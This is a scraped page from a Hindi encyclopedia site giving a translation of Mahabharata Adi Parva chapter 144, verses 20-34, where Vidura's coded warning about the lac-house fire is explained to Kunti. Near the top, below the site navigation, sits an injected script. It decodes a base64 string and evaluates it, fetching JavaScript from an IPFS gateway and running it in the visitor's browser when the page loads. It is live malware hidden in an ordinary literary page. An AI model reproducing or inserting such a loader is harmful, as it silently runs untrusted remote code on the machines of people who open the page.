महाभारत आदि पर्व अध्याय 144 श्लोक 20-34

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

चतुश्चत्‍वारिंशदधिकशततम (144) अध्‍याय: आदि पर्व (जतुगृहपर्व))

महाभारत: आदि पर्व: >चतुश्चत्‍वारिंशदधिकशततम अध्‍याय: श्लोक 20-34 का हिन्दी अनुवाद

विदुरजी बुद्धिमान् तथा मूढ मलेच्‍छों की निर्थक-सी प्रतीत होने वाली भाषा के भी ज्ञाता थे । इसी प्रकार युधिष्ठिर उस मलेच्‍छ भाषा को समझ लेने वाले तथा बुद्धिमान् थे। अत: उन्‍होंने युधिष्ठिर से ऐसी कहने योग्‍य बात कही, जो मलेच्‍छ भाषा के जानकार एवं बुद्धिमान् पुरुष को उस भाषा में कहे हुए रहस्‍य का ज्ञान करा देने वाली थी, किंतु जो उस भाषा के अनभिज्ञ पुरुष को वास्‍तविक अर्थ का वोध नहीं करती थी । ‘जो शत्रु की नीति-शास्त्र का अनुसरण करने वाली बुद्धि को समझ लेता है, वह उसे समझ लेने पर कोई ऐसा उपाय करे, जिससे वह यहां शत्रुजनिक संकट से बच सके । ‘एक ऐसा तीखा शस्त्र है, लोहे का बना तो नहीं है, परंतु शरीर को नष्ट कर देता है। जो उसे जानता है, ऐसे उस शस्त्र के आघात से बचने का उपाय जानने वाले पुरुष को शत्रु नहीं मार सकते । ‘जिसके आंखें नहीं है, वह मार्ग नहीं जान पाता; अन्‍धे को दिशाओं का ज्ञान नहीं होता और जो धैर्य खो देता है, उसे सद्बुद्धि नहीं प्राप्त होती। इस प्रकार मेरे समझाने पर तुम मेरी बातों को भलीभांति समझ लो । ‘शत्रुओं के दिये हुए बिना लोहे के बने शस्त्र को जो मनुष्‍य धारण कर लेता है, वह साही के बिल में घुसकर आग से बच जाता है । ‘मनुष्‍य घूम-फि‍र कर रास्‍ते का पता लगा लेता है, नक्षत्रों से दिशाओं को समझ लेता है तथा जो अपनी पांचों इन्द्रियों का स्‍वयं ही दमन करता है,वह शत्रुओं से पीड़ित नहीं होता । इस प्रकार कहे जाने पर पाण्‍डु नन्‍दन धर्मराज युधिष्ठिर ने विद्वानों में विदुरजी से कहा- ‘मैंने आपकी बात अच्‍छी तरह समझ ली । इस तरह पाण्‍डवों को बार-बार कर्तव्‍य की शिक्षा देते हुए कुछ दूर तक उनके पीछे-पीछे जाकर विदुरजी उनको जाने की आज्ञा दे उन्‍हें अपने दाहिने करके पुन: अपने घर को लौट गये । विदुर, भीष्‍मजी तथा नगरवासियों के लौट आने पर कुन्‍ती अजातशत्रु युधिष्ठिर के पास जाकर बोली । ‘बेटा ! विदुरजी ने सब लोगों के बीच में जो अस्‍पष्ट-सी बात कही थी, उसे सुनकर तुमने ‘बहुत अच्‍छा’ कहकर स्‍वीकर किया था; परंतु हम लोग बह बात अब तक नहीं समझ पा रहे हैं । ‘यदि उसे हम भी समझ सकें और हमारे जानने से कोई दोष न आता हो तो तुम्‍हारी और उनकी सारी बातचीत का रहस्‍य मैं सुनना चाहती हूं । युधिष्ठिर ने कहा- मां ! जिनकी बुद्धि सदा धर्म में ही लगी रहती है, उन विदुरजी ने (सांकेतिक भाषा में ) मुझसे कहा था ‘तुम जिस घर में ठहरोगे, वहां से आग का भय है, यह बात अच्‍छी तरह जान लेनी चाहिये। साथ ही वहां का कोई भी मार्ग ऐसा न हो, जो तुमसे अपरिचित रहे। ‘यदि तुम अपनी इन्द्रियों को वश में रखोगे तो सारी पृथ्‍वी का राज्‍य प्राप्त कर लोगे, यह बात भी उन्‍होंने मुझसे बतायी थी। और इन्‍हीं बातों के लिये मैंने विदुरजी को उत्तर दिया था कि ‘मैं सब समझ गया’ । वैशम्‍पायनजी कहते हैं- जनमेजय ! पाण्‍डवों ने फाल्‍गुन शुक्‍ला अष्टमी के दिन रोहिणी नक्षत्र में यात्रा की थी। वे यथा समय वारणावत पहुंचर कर वहां के नागरिकों से मिले।



« पीछे आगे »

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:सम्पूर्ण महाभारत अभी निर्माणाधीन है।